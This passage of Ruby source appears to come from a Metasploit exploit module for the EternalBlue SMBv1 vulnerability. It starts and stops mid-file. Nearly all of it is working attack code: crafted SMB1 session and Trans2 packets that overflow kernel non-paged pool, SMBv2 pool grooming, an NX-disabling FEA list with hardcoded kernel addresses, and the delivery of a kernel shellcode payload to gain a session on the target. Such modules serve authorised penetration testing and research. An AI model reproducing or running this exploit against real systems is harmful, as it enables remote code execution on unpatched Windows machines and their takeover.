743

744
  def create_session_alloc_non_paged(size, username, password, pid)
745
    # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
746
    sess_pkt = SessionSetupSMB1RequestWithPoorlyFormedDataBlock.new
747

748
    anon_conn, _anon_tree, anon_sock = smb1_connect_ipc(negotiate_only: true)
749

750
    sess_pkt.smb_header.pid_low = pid
751

752
    if size >= 65535 # 0xffff
753
      sess_pkt.data_block.security_blob = [(size / 2).floor].pack('S<') + "\x00" * 20
754
      sess_pkt.smb_header.flags2.unicode = 0
755
    else
756
      sess_pkt.data_block.security_blob = [size].pack('S<') + "\x00" * 20
757
      sess_pkt.smb_header.flags2.unicode = 1
758
    end
759

760
    sess_pkt.smb_header.flags2.extended_security = 0
761
    sess_pkt.smb_header.flags2.nt_status = 1
762
    sess_pkt.smb_header.flags2.paging_io = 0
763

764
    sess_pkt.parameter_block.max_buffer_size = 61440 # can be any value greater than response size
765
    sess_pkt.parameter_block.max_mpx_count = 2 # can by any value
766
    sess_pkt.parameter_block.vc_number = 2 # any non-zero
767
    sess_pkt.parameter_block.session_key = 0
768
    sess_pkt.parameter_block.security_blob_length = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
769

770
    sess_pkt.parameter_block.capabilities.each_pair do |k|
771
      if k == :nt_status || k == :extended_security
772
        sess_pkt.parameter_block.capabilities[k] = 1
773
      else
774
        sess_pkt.parameter_block.capabilities[k] = 0
775
      end
776
    end
777

778
    recv_pkt = RubySMB::SMB1::Packet::SessionSetupResponse.read(anon_conn.send_recv(sess_pkt))
779

780
    if recv_pkt.status_code.value == 0
781
      print_good('SMB1 session setup allocate nonpaged pool success')
782
      return anon_conn, anon_sock
783
    end
784

785
    anon_conn.disconnect!
786

787
    unless username.empty?
788
      # Try login with valid user because anonymous user might get access denied on Windows Server 2012
789
      # Note: If target allows only NTLMv2 authentication, the login will always fail.
790
      # support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16)
791
      req_size = (size / 2).floor
792

793
      neg_pkt = RubySMB::SMB1::Packet::NegotiateRequest.new
794
      neg_pkt.smb_header.flags2.extended_security = 0
795
      neg_pkt.add_dialect('NT LM 0.12')
796

797
      client, sock = custom_smb_client
798

799
      raw_response = client.send_recv(neg_pkt)
800
      response_packet = client.negotiate_response(raw_response)
801

802
      # parse_negotiate_response
803
      client.smb1 = true
804
      client.smb2 = false
805
      client.smb3 = false
806
      client.signing_required = response_packet.parameter_block.security_mode.security_signatures_required == 1
807
      client.dialect = response_packet.negotiated_dialect.to_s
808
      client.server_max_buffer_size = response_packet.parameter_block.max_buffer_size - 260
809
      client.negotiated_smb_version = 1
810
      client.session_encrypt_data = false
811
      client.server_guid = response_packet.data_block[:server_guid]
812

813
      server_challenge = response_packet.data_block.challenge
814

815
      sess_pkt.smb_header.pid_low = pid
816
      sess_pkt.smb_header.flags2.unicode = 0
817

818
      pwd_unicode = NTLM_CRYPT.ntlm_md4(password, server_challenge)
819

820
      sess_pkt.parameter_block.reserved = pwd_unicode.length
821
      sess_pkt.data_block.security_blob = [req_size + pwd_unicode.length + username.length].pack('S<') + pwd_unicode + username + ("\x00" * 16)
822

823
      recv_pkt = RubySMB::SMB1::Packet::SessionSetupResponse.read(client.send_recv(sess_pkt))
824

825
      if recv_pkt.status_code.value == 0
826
        print_good('SMB1 session setup allocate nonpaged pool success')
827
        return client, sock
828
      end
829
      client.disconnect!
830
    end
831

832
    print_error("SMB1 session setup allocate nonpaged pool failed: #{recv_pkt.status_code.name}\n#{recv_pkt.status_code.description}")
833
    return nil
834
  end
835

836
  def generate_fea_list_nx
837
    # fea_list for disabling NX is possible because we just want to change only MDL.MappedSystemVa
838
    # PTE of 0xffffffffffd00000 is at 0xfffff6ffffffe800
839
    # NX bit is at PTE_ADDR+7
840
    # MappedSystemVa = PTE_ADDR+7 - 0x7f
841
    shellcode_page_addr = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000
842
    pte_addr = 0xfffff6ffffffe800 + 8 * ((shellcode_page_addr - 0xffffffffffd00000) >> 12)
843
    fake_srv_net_buffer_x64nx = "\x00" * 16
844
    fake_srv_net_buffer_x64nx += [0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR].pack('SSIQ<')
845
    fake_srv_net_buffer_x64nx += "\x00" * 16
846
    fake_srv_net_buffer_x64nx += "\x00" * 16
847
    fake_srv_net_buffer_x64nx += [0, 0].pack('QQ<')
848
    fake_srv_net_buffer_x64nx += [0, TARGET_HAL_HEAP_ADDR].pack('QQ<') # _, _, pointer to fake struct
849
    fake_srv_net_buffer_x64nx += [0, 0,].pack('QQ<')
850
    fake_srv_net_buffer_x64nx += "\x00" * 16
851
    fake_srv_net_buffer_x64nx += "\x00" * 16
852
    fake_srv_net_buffer_x64nx += [0, 0x60, 0x1004, 0].pack('QSSI<') # MDL.Next, MDL.Size, MDL.MdlFlags
853
    fake_srv_net_buffer_x64nx += [0, pte_addr + 7 - 0x7f].pack('QQ<') # MDL.Process, MDL.MappedSystemVa
854

855
    fea_list_nx = [0x10000].pack('I<')
856
    fea_list_nx += NTFEA_9000
857
    fea_list_nx += [0, 0, fake_srv_net_buffer_x64nx.length - 1].pack('CCS<') + fake_srv_net_buffer_x64nx # -1 because first '\x00' is for name
858
    # stop copying by invalid flag (can be any value except 0 and 0x80)
859
    fea_list_nx += [0x12, 0x34, 0x5678].pack('CCS<')
860

861
    fea_list_nx
862
  end
863

864
  def default_session_setup_request
865
    p = RubySMB::SMB1::Packet::SessionSetupRequest.new
866
    p.parameter_block.max_buffer_size = 61440
867
    p.parameter_block.max_mpx_count = 50
868
    p.smb_header.flags2.extended_security = 1
869

870
    p
871
  end
872

873
  # Returns the value to be passed to SMB clients for
874
  # the password. If the user has not supplied a password
875
  # it returns an empty string to trigger an anonymous
876
  # logon.
877
  #
878
  # @return [String] the password value
879
  def smb_pass
880
    if datastore['SMBPass'].present?
881
      datastore['SMBPass']
882
    else
883
      ''
884
    end
885
  end
886

887
  # Returns the value to be passed to SMB clients for
888
  # the username. If the user has not supplied a username
889
  # it returns an empty string to trigger an anonymous
890
  # logon.
891
  #
892
  # @return [String] the username value
893
  def smb_user
894
    if datastore['SMBUser'].present?
895
      datastore['SMBUser']
896
    else
897
      ''
898
    end
899
  end
900

901
  # Returns the value to be passed to SMB clients for
902
  # the domain. If the user has not supplied a domain
903
  # it returns an empty string to trigger an anonymous
904
  # logon.
905
  #
906
  # @return [String] the domain value
907
  def smb_domain
908
    if datastore['SMBDomain'].present?
909
      datastore['SMBDomain']
910
    else
911
      ''
912
    end
913
  end
914

915
  class SessionSetupSMB1RequestWithPoorlyFormedDataBlock < RubySMB::GenericPacket
916
    COMMAND = RubySMB::SMB1::Commands::SMB_COM_SESSION_SETUP_ANDX
917

918
    class ParameterBlock < RubySMB::SMB1::Packet::SessionSetupRequest::ParameterBlock
919
    end
920

921
    class DataBlock < RubySMB::SMB1::DataBlock
922
      # Key difference for this class is that the length of security_blob is NOT dictated by the value of
923
      # security_blob_length in the +SessionSetupRequest::ParameterBlock+
924
      string :security_blob, label: 'Security Blob (GSS-API)'
925
      string :native_os, label: 'Native OS'
926
      string :native_lan_man, label: 'Native LAN Manager'
927
    end
928

929
    smb_header :smb_header
930
    parameter_block :parameter_block
931
    data_block :data_block
932
  end
933

934
  class CustomSessionSetupPacketRubySMBClient < ::RubySMB::Client
935
    def send_recv(packet, encrypt: false)
936
      version = packet.packet_smb_version
937
      case version
938
      when 'SMB1'
939
        packet.smb_header.uid = user_id if user_id
940
        packet.smb_header.pid_low = pid if pid && packet.smb_header.pid_low == 0
941
        packet = smb1_sign(packet)
942
      when 'SMB2'
943
        packet = increment_smb_message_id(packet)
944
        packet.smb2_header.session_id = session_id
945
        unless packet.is_a?(RubySMB::SMB2::Packet::SessionSetupRequest)
946
          if smb2
947
            packet = smb2_sign(packet)
948
          elsif smb3
949
            packet = smb3_sign(packet)
950
          end
951
        end
952
      end
953

954
      encrypt_data = false
955
      if can_be_encrypted?(packet) && encryption_supported? && (@session_encrypt_data || encrypt)
956
        encrypt_data = true
957
      end
958
      send_packet(packet, encrypt: encrypt_data)
959
      raw_response = recv_packet(encrypt: encrypt_data)
960
      smb2_header = nil
961
      unless version == 'SMB1'
962
        loop do
963
          smb2_header = RubySMB::SMB2::SMB2Header.read(raw_response)
964
          break unless is_status_pending?(smb2_header)
965

966
          sleep 1
967
          raw_response = recv_packet(encrypt: encrypt_data)
968
        rescue IOError
969
          # We're expecting an SMB2 packet, but the server sent an SMB1 packet
970
          # instead. This behavior has been observed with older versions of Samba
971
          # when something goes wrong on the server side. So, we just ignore it
972
          # and expect the caller to handle this wrong response packet.
973
          break
974
        end
975
      end
976

977
      self.sequence_counter += 1 if signing_required && !session_key.empty?
978
      # update the SMB2 message ID according to the received Credit Charged
979
      self.smb2_message_id += smb2_header.credit_charge - 1 if smb2_header && server_supports_multi_credit
980
      raw_response
981
    end
982

983
    def login(username: self.username, password: self.password,
984
              domain: self.domain, local_workstation: self.local_workstation,
985
              ntlm_flags: default_flags,
986
              session_setup_packet: nil,
987
              session_setup_auth_packet: nil)
988

989
      negotiate
990
      session_setup(username, password, domain,
991
                    local_workstation: local_workstation,
992
                    ntlm_flags: ntlm_flags,
993
                    session_setup_packet: session_setup_packet,
994
                    session_setup_auth_packet: session_setup_auth_packet)
995
    end
996

997
    def session_setup(user, pass, domain,
998
                      local_workstation: self.local_workstation, ntlm_flags: default_flags,
999
                      session_setup_packet: nil, session_setup_auth_packet: nil)
1000
      @domain = domain
1001
      @local_workstation = local_workstation
1002
      @password = pass.encode('utf-8') || ''.encode('utf-8')
1003
      @username = user.encode('utf-8') || ''.encode('utf-8')
1004

1005
      @ntlm_client = Net::NTLM::Client.new(
1006
        @username,
1007
        @password,
1008
        workstation: @local_workstation,
1009
        domain: @domain,
1010
        flags: ntlm_flags
1011
      )
1012

1013
      authenticate(smb1_setup_pkt: session_setup_packet, smb1_setup_auth_pkt: session_setup_auth_packet)
1014
    end
1015

1016
    def authenticate(smb1_setup_pkt: nil, smb1_setup_auth_pkt: nil)
1017
      if smb1
1018
        if username.empty? && password.empty?
1019
          smb1_authenticate(session_setup_packet: smb1_setup_pkt,
1020
                            session_setup_auth_packet: smb1_setup_auth_pkt,
1021
                            anonymous: true)
1022
        else
1023
          smb1_authenticate(session_setup_packet: smb1_setup_pkt,
1024
                            session_setup_auth_packet: smb1_setup_auth_pkt)
1025
        end
1026
      else
1027
        smb2_authenticate
1028
      end
1029
    end
1030

1031
    def smb1_authenticate(session_setup_packet: nil, session_setup_auth_packet: nil, anonymous: false)
1032
      response = smb1_ntlmssp_negotiate(session_setup_packet: session_setup_packet)
1033
      challenge_packet = smb1_ntlmssp_challenge_packet(response)
1034

1035
      # Store the available OS information before going forward.
1036
      @peer_native_os = challenge_packet.data_block.native_os.to_s
1037
      @peer_native_lm = challenge_packet.data_block.native_lan_man.to_s
1038
      user_id = challenge_packet.smb_header.uid
1039
      type2_b64_message = smb1_type2_message(challenge_packet)
1040
      type3_message = @ntlm_client.init_context(type2_b64_message)
1041

1042
      if anonymous
1043
        type3_message.ntlm_response = ''
1044
        type3_message.lm_response = ''
1045
      end
1046

1047
      @session_key = @ntlm_client.session_key
1048
      challenge_message = @ntlm_client.session.challenge_message
1049
      store_target_info(challenge_message.target_info) if challenge_message.has_flag?(:TARGET_INFO)
1050
      @os_version = extract_os_version(challenge_message.os_version.to_s) unless challenge_message.os_version.empty?
1051

1052
      raw = smb1_ntlmssp_authenticate(type3_message, user_id, session_setup_packet: session_setup_auth_packet)
1053
      response = smb1_ntlmssp_final_packet(raw)
1054
      response_code = response.status_code
1055

1056
      @user_id = user_id if response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
1057
      response_code
1058
    end
1059

1060
    def smb1_ntlmssp_negotiate(session_setup_packet: nil)
1061
      packet = smb1_ntlmssp_negotiate_packet(session_setup_packet: session_setup_packet)
1062
      send_recv(packet)
1063
    end
1064

1065
    def smb1_ntlmssp_authenticate(type3_message, user_id, session_setup_packet: nil)
1066
      packet = smb1_ntlmssp_auth_packet(type3_message, user_id, session_setup_packet: session_setup_packet)
1067
      send_recv(packet)
1068
    end
1069

1070
    def smb1_ntlmssp_auth_packet(type3_message, user_id, session_setup_packet: nil)
1071
      if session_setup_packet.nil?
1072
        packet = RubySMB::SMB1::Packet::SessionSetupRequest.new
1073
        packet.smb_header.uid = user_id
1074
        packet.set_type3_blob(type3_message.serialize)
1075
        packet.parameter_block.max_mpx_count = 50
1076
        packet.smb_header.flags2.extended_security = 1
1077

1078
        packet
1079
      else
1080
        if session_setup_packet.data_block.security_blob.empty?
1081
          session_setup_packet.set_type3_blob(type3_message.serialize)
1082
        end
1083
        if session_setup_packet.smb_header.uid == 0
1084
          session_setup_packet.smb_header.uid = user_id
1085
        end
1086
        if session_setup_packet.parameter_block.max_buffer_size == 0
1087
          session_setup_packet.parameter_block.max_buffer_size = max_buffer_size
1088
        end
1089
        if session_setup_packet.smb_header.pid_low == 0
1090
          session_setup_packet.smb_header.pid_low = pid
1091
        end
1092

1093
        session_setup_packet
1094
      end
1095
    end
1096

1097
    def smb1_ntlmssp_negotiate_packet(session_setup_packet: nil)
1098
      type1_message = ntlm_client.init_context
1099

1100
      if session_setup_packet.nil?
1101
        packet = RubySMB::SMB1::Packet::SessionSetupRequest.new unless session_setup_packet
1102
        packet.set_type1_blob(type1_message.serialize)
1103
        packet.parameter_block.max_mpx_count = 50
1104
        packet.smb_header.flags2.extended_security = 1
1105

1106
        packet
1107
      else
1108
        if session_setup_packet.data_block.security_blob.empty?
1109
          session_setup_packet.set_type1_blob(type1_message.serialize)
1110
        end
1111

1112
        session_setup_packet
1113
      end
1114
    end
1115
  end
1116
end
1117

1118
module EternalBlueWin7
1119
  require 'ruby_smb'
1120
  require 'ruby_smb/smb1/packet'
1121
  require 'windows_error'
1122

1123
  include Msf::Exploit::Remote::DCERPC
1124

1125
  class EternalBlueError < StandardError
1126
  end
1127

1128
  def exploit_eb
1129
    begin
1130
      for i in 1..datastore['MaxExploitAttempts']
1131
        grooms = datastore['GroomAllocations'] + datastore['GroomDelta'] * (i - 1)
1132
        smb_eternalblue(datastore['ProcessName'], grooms)
1133

1134
        # we don't need this sleep, and need to find a way to remove it
1135
        # problem is session_count won't increment until stage is complete :\
1136
        secs = 0
1137
        while !session_created? && (secs < 30)
1138
          secs += 1
1139
          sleep 1
1140
        end
1141

1142
        if session_created?
1143
          print_good('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')
1144
          print_good('=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')
1145
          print_good('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')
1146
          break
1147
        else
1148
          print_bad('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')
1149
          print_bad('=-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')
1150
          print_bad('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')
1151
        end
1152
      end
1153
    rescue EternalBlueError => e
1154
      print_error(e.message.to_s)
1155
      return false
1156
    rescue ::RubySMB::Error::NegotiationFailure
1157
      print_error('SMB Negotiation Failure -- this often occurs when lsass crashes.  The target may reboot in 60 seconds.')
1158
      return false
1159
    rescue ::RubySMB::Error::UnexpectedStatusCode,
1160
           ::Errno::ECONNRESET,
1161
           ::Rex::HostUnreachable,
1162
           ::Rex::ConnectionTimeout,
1163
           ::Rex::ConnectionRefused,
1164
           ::RubySMB::Error::CommunicationError => e
1165
      print_error("#{e.class}: #{e.message}")
1166
      report_failure
1167
      return false
1168
    rescue StandardError => e
1169
      print_error(e.class.to_s)
1170
      print_error(e.message)
1171
      print_error(e.backtrace.join("\n"))
1172
      return false
1173
    end
1174
  end
1175

1176
  def smb_eternalblue(process_name, grooms)
1177
    begin
1178
      # Step 0: pre-calculate what we can
1179
      shellcode = make_kernel_user_payload(payload.encoded, process_name)
1180
      payload_hdr_pkt = make_smb2_payload_headers_packet
1181
      payload_body_pkt = make_smb2_payload_body_packet(shellcode)
1182

1183
      # Step 1: Connect to IPC$ share
1184
      print_status('Connecting to target for exploitation.')
1185
      client, tree, sock, os = smb1_anonymous_connect_ipc
1186
    rescue RubySMB::Error::CommunicationError
1187
      # Error handler in case SMBv1 disabled on target
1188
      raise EternalBlueError, 'Could not make SMBv1 connection'
1189
    else
1190
      print_good('Connection established for exploitation.')
1191

1192
      if verify_target(os)
1193
        print_good('Target OS selected valid for OS indicated by SMB reply')
1194
      else
1195
        print_warning('Target OS selected not valid for OS indicated by SMB reply')
1196
        print_warning('Disable VerifyTarget option to proceed manually...')
1197
        raise EternalBlueError, 'Unable to continue with improper OS Target.'
1198
      end
1199

1200
      # cool buffer print no matter what, will be helpful when people post debug issues
1201
      print_core_buffer(os)
1202

1203
      if verify_arch
1204
        print_good('Target arch selected valid for arch indicated by DCE/RPC reply')
1205
      else
1206
        print_warning('Target arch selected not valid for arch indicated by DCE/RPC reply')
1207
        print_warning('Disable VerifyArch option to proceed manually...')
1208
        raise EternalBlueError, 'Unable to continue with improper OS Arch.'
1209
      end
1210

1211
      print_status("Trying exploit with #{grooms} Groom Allocations.")
1212

1213
      # Step 2: Create a large SMB1 buffer
1214
      print_status('Sending all but last fragment of exploit packet')
1215
      smb1_large_buffer(client, tree, sock)
1216

1217
      # Step 3: Groom the pool with payload packets, and open/close SMB1 packets
1218
      print_status('Starting non-paged pool grooming')
1219

1220
      # initialize_groom_threads(ip, port, payload, grooms)
1221
      fhs_sock = smb1_free_hole(true)
1222

1223
      @groom_socks = []
1224

1225
      print_good('Sending SMBv2 buffers')
1226
      smb2_grooms(grooms, payload_hdr_pkt)
1227

1228
      fhf_sock = smb1_free_hole(false)
1229

1230
      print_good('Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.')
1231
      fhs_sock.shutdown
1232

1233
      print_status('Sending final SMBv2 buffers.') # 6x
1234
      smb2_grooms(6, payload_hdr_pkt) # TODO: magic #
1235

1236
      fhf_sock.shutdown
1237

1238
      print_status('Sending last fragment of exploit packet!')
1239
      final_exploit_pkt = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_exploit, 15)
1240
      sock.put(final_exploit_pkt)
1241

1242
      print_status('Receiving response from exploit packet')
1243
      code, _raw = smb1_get_response(sock)
1244

1245
      code_str = '0x' + code.to_i.to_s(16).upcase
1246
      if code.nil?
1247
        print_error('Did not receive a response from exploit packet')
1248
      elsif code == 0xc000000d # STATUS_INVALID_PARAMETER (0xC000000D)
1249
        print_good("ETERNALBLUE overwrite completed successfully (#{code_str})!")
1250
      else
1251
        print_warning("ETERNALBLUE overwrite returned unexpected status code (#{code_str})!")
1252
      end
1253

1254
      # Step 4: Send the payload
1255
      print_status('Sending egg to corrupted connection.')
1256

1257
      @groom_socks.each { |gsock| gsock.put(payload_body_pkt.first(2920)) }
1258
      @groom_socks.each { |gsock| gsock.put(payload_body_pkt[2920..(4204 - 0x84)]) }
1259

1260
      print_status('Triggering free of corrupted buffer.')
1261
      # tree disconnect
1262
      # logoff and x
1263
      # note: these aren't necessary, just close the sockets
1264
      return true
1265
    ensure
1266
      abort_sockets
1267
    end
1268
  end
1269

1270
  def verify_target(os)
1271
    os = os.gsub("\x00", '') # strip unicode bs
1272
    os << "\x00" # but original has a null
1273
    ret = true
1274

1275
    if datastore['VerifyTarget']
1276
      ret = false
1277
      # search if its in patterns
1278
      target['os_patterns'].each do |pattern|
1279
        if os.downcase.include? pattern.downcase
1280
          ret = true
1281
          break
1282
        end
1283
      end
1284
    end
1285

1286
    return ret
1287
  end
1288

1289
  def verify_arch
1290
    return true unless datastore['VerifyArch']
1291

1292
    # XXX: This sends a new DCE/RPC packet
1293
    arch = dcerpc_getarch
1294

1295
    return true if arch && arch == target_arch.first
1296

1297
    print_warning("Target arch is #{target_arch.first}, but server returned #{arch.inspect}")
1298
    print_warning('The DCE/RPC service or probe may be blocked') if arch.nil?
1299
    false
1300
  end
1301

1302
  def print_core_buffer(os)
1303
    print_status("CORE raw buffer dump (#{os.length} bytes)")
1304

1305
    count = 0
1306
    chunks = os.scan(/.{1,16}/)
1307
    chunks.each do |chunk|
1308
      hexdump = chunk.chars.map { |ch| ch.ord.to_s(16).rjust(2, '0') }.join(' ')
1309

1310
      format = format('0x%08x  %-47s  %-16s', (count * 16), hexdump, chunk)
1311
      print_status(format)
1312
      count += 1
1313
    end
1314
  end
1315

1316
  def smb2_grooms(grooms, payload_hdr_pkt)
1317
    grooms.times do |_groom_id|
1318
      gsock = connect(false)
1319
      @groom_socks << gsock
1320
      gsock.put(payload_hdr_pkt)
1321
    end
1322
  end
1323

1324
  def smb1_anonymous_connect_ipc
1325
    sock = connect(false)
1326
    dispatcher = RubySMB::Dispatcher::Socket.new(sock)
1327
    client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, smb3: false, username: smb_user, domain: smb_domain, password: smb_pass)
1328
    client.pid = nil
1329
    response_code = client.login
1330

1331
    unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
1332
      raise RubySMB::Error::UnexpectedStatusCode, "Error with login: #{response_code}"
1333
    end
1334

1335
    os = client.peer_native_os
1336

1337
    tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")
1338

1339
    return client, tree, sock, os
1340
  end
1341

1342
  def smb1_large_buffer(client, tree, sock)
1343
    nt_trans_pkt = make_smb1_nt_trans_packet(tree.id, client.user_id)
1344

1345
    # send NT Trans
1346
    vprint_status('Sending NT Trans Request packet')
1347

1348
    client.send_recv(nt_trans_pkt)
1349
    # Initial Trans2  request
1350
    trans2_pkt_nulled = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_zero, 0)
1351

1352
    # send all but last packet
1353
    for i in 1..14
1354
      trans2_pkt_nulled << make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_buffer, i)
1355
    end
1356

1357
    vprint_status('Sending malformed Trans2 packets')
1358
    sock.put(trans2_pkt_nulled)
1359

1360
    begin
1361
      sock.get_once
1362
    rescue EOFError
1363
      vprint_error('No response back from SMB echo request.  Continuing anyway...')
1364
    end
1365

1366
    client.echo(count: 1, data: "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00")
1367
  end
1368

1369
  def smb1_free_hole(start)
1370
    sock = connect(false)
1371
    dispatcher = RubySMB::Dispatcher::Socket.new(sock)
1372
    client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, smb3: false, username: smb_user, domain: smb_domain, password: smb_pass)
1373
    client.pid = nil
1374
    client.negotiate
1375

1376
    pkt = ''
1377

1378
    if start
1379
      vprint_status('Sending start free hole packet.')
1380
      pkt = make_smb1_free_hole_session_packet("\x07\xc0", "\x2d\x01", "\xf0\xff\x00\x00\x00")
1381
    else
1382
      vprint_status('Sending end free hole packet.')
1383
      pkt = make_smb1_free_hole_session_packet("\x07\x40", "\x2c\x01", "\xf8\x87\x00\x00\x00")
1384
    end
1385

1386
    client.send_recv(pkt)
1387
    sock
1388
  end
1389

1390
  def smb1_get_response(sock)
1391
    raw = nil
1392

1393
    # dirty hack since it doesn't always like to reply the first time...
1394
    16.times do
1395
      raw = sock.get_once
1396
      break unless raw.nil? || raw.empty?
1397
    end
1398

1399
    return nil unless raw
1400

1401
    response = RubySMB::SMB1::SMBHeader.read(raw[4..-1])
1402
    code = response.nt_status
1403
    return code, raw, response
1404
  end
1405

1406
  def make_smb2_payload_headers_packet
1407
    # don't need a library here, the packet is essentially nonsensical
1408
    pkt = ''
1409
    pkt << "\x00" # session message
1410
    pkt << "\x00\xff\xf7" # size
1411
    pkt << "\xfeSMB" # SMB2
1412
    pkt << "\x00" * 124
1413

1414
    pkt
1415
  end
1416

1417
  def make_smb2_payload_body_packet(kernel_user_payload)
1418
    # precalculated lengths
1419
    pkt_max_len = 4204
1420
    pkt_setup_len = 497
1421
    pkt_max_payload = pkt_max_len - pkt_setup_len # 3575
1422

1423
    # this packet holds padding, KI_USER_SHARED_DATA addresses, and shellcode
1424
    pkt = ''
1425

1426
    # padding
1427
    pkt << "\x00" * 0x8
1428
    pkt << "\x03\x00\x00\x00"
1429
    pkt << "\x00" * 0x1c
1430
    pkt << "\x03\x00\x00\x00"
1431
    pkt << "\x00" * 0x74
1432

1433
    # KI_USER_SHARED_DATA addresses
1434
    pkt << "\xb0\x00\xd0\xff\xff\xff\xff\xff" * 2 # x64 address
1435
    pkt << "\x00" * 0x10
1436
    pkt << "\xc0\xf0\xdf\xff" * 2 # x86 address
1437
    pkt << "\x00" * 0xc4
1438

1439
    # payload addreses
1440
    pkt << "\x90\xf1\xdf\xff"
1441
    pkt << "\x00" * 0x4
1442
    pkt << "\xf0\xf1\xdf\xff"
1443
    pkt << "\x00" * 0x40
1444

1445
    pkt << "\xf0\x01\xd0\xff\xff\xff\xff\xff"
1446
    pkt << "\x00" * 0x8
1447
    pkt << "\x00\x02\xd0\xff\xff\xff\xff\xff"
1448
    pkt << "\x00"
1449

1450
    pkt << kernel_user_payload
1451

1452
    # fill out the rest, this can be randomly generated
1453
    pkt << "\x00" * (pkt_max_payload - kernel_user_payload.length)
1454

1455
    pkt
1456
  end
1457

1458
  # Type can be :eb_trans2_zero, :eb_trans2_buffer, or :eb_trans2_exploit
1459
  def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout)
1460
    timeout = (timeout * 0x10) + 3
1461
    timeout_value = "\x35\x00\xd0" + timeout.chr
1462

1463
    packet = RubySMB::SMB1::Packet::Trans2::Request.new
1464
    packet = set_smb1_headers(packet, tree_id, user_id)
1465

1466
    # The packets are labeled as Secondary Requests but are actually structured
1467
    # as normal Trans2 Requests for some reason. We shall similarly cheat here.
1468
    packet.smb_header.command = RubySMB::SMB1::Commands::SMB_COM_TRANSACTION2_SECONDARY
1469

1470
    packet.parameter_block.flags.read("\x00\x10")
1471
    packet.parameter_block.timeout.read(timeout_value)
1472

1473
    packet.parameter_block.word_count = 9
1474
    packet.parameter_block.total_data_count = 4096
1475
    packet.parameter_block.parameter_count = 4096
1476

1477
    nbss = "\x00\x00\x10\x35"
1478
    pkt = packet.to_binary_s
1479
    pkt = pkt[0, packet.parameter_block.parameter_offset.abs_offset]
1480
    pkt = nbss + pkt
1481

1482
    case type
1483
    when :eb_trans2_exploit
1484
      vprint_status('Making :eb_trans2_exploit packet')
1485

1486
      pkt << "\x41" * 2957
1487

1488
      pkt << "\x80\x00\xa8\x00" # overflow
1489

1490
      pkt << "\x00" * 0x10
1491
      pkt << "\xff\xff"
1492
      pkt << "\x00" * 0x6
1493
      pkt << "\xff\xff"
1494
      pkt << "\x00" * 0x16
1495

1496
      pkt << "\x00\xf1\xdf\xff" # x86 addresses
1497
      pkt << "\x00" * 0x8
1498
      pkt << "\x20\xf0\xdf\xff"
1499

1500
      pkt << "\x00\xf1\xdf\xff\xff\xff\xff\xff" # x64
1501

1502
      pkt << "\x60\x00\x04\x10"
1503
      pkt << "\x00" * 4
1504

1505
      pkt << "\x80\xef\xdf\xff"
1506

1507
      pkt << "\x00" * 4
1508
      pkt << "\x10\x00\xd0\xff\xff\xff\xff\xff"
1509
      pkt << "\x18\x01\xd0\xff\xff\xff\xff\xff"
1510
      pkt << "\x00" * 0x10
1511

1512
      pkt << "\x60\x00\x04\x10"
1513
      pkt << "\x00" * 0xc
1514
      pkt << "\x90\xff\xcf\xff\xff\xff\xff\xff"
1515
      pkt << "\x00" * 0x8
1516
      pkt << "\x80\x10"
1517
      pkt << "\x00" * 0xe
1518
      pkt << "\x39"
1519
      pkt << "\xbb"
1520

1521
      pkt << "\x41" * 965
1522
    when :eb_trans2_zero
1523
      vprint_status('Making :eb_trans2_zero packet')
1524
      pkt << "\x00" * 2055
1525
      pkt << "\x83\xf3"
1526
      pkt << "\x41" * 2039
1527
    else
1528
      vprint_status('Making :eb_trans2_buffer packet')
1529
      pkt << "\x41" * 4096
1530
    end
1531
    pkt
1532
  end
1533

1534
  def make_smb1_nt_trans_packet(tree_id, user_id)
1535
    packet = RubySMB::SMB1::Packet::NtTrans::Request.new
1536

1537
    # Disable the automatic padding because it will distort
1538
    # our values here.
1539
    packet.data_block.enable_padding = false
1540

1541
    packet = set_smb1_headers(packet, tree_id, user_id)
1542

1543
    packet.parameter_block.max_setup_count = 1
1544
    packet.parameter_block.total_parameter_count = 30
1545
    packet.parameter_block.total_data_count = 66512
1546
    packet.parameter_block.max_parameter_count = 30
1547
    packet.parameter_block.max_data_count = 0
1548
    packet.parameter_block.parameter_count = 30
1549
    packet.parameter_block.parameter_offset = 75
1550
    packet.parameter_block.data_count = 976
1551
    packet.parameter_block.data_offset = 104
1552
    packet.parameter_block.function = 0
1553

1554
    packet.parameter_block.setup << 0x0000
1555

1556
    packet.data_block.byte_count = 1004
1557
    packet.data_block.trans2_parameters = "\x00" * 31 + "\x01" + ("\x00" * 973)
1558
    packet
1559
  end
1560

1561
  def make_smb1_free_hole_session_packet(flags2, vcnum, native_os)
1562
    packet = RubySMB::SMB1::Packet::SessionSetupRequest.new
1563

1564
    packet.smb_header.flags.read("\x18")
1565
    packet.smb_header.flags2.read(flags2)
1566
    packet.smb_header.pid_high = 65279
1567
    packet.smb_header.mid = 64
1568

1569
    packet.parameter_block.vc_number.read(vcnum)
1570
    packet.parameter_block.max_buffer_size = 4356
1571
    packet.parameter_block.max_mpx_count = 10
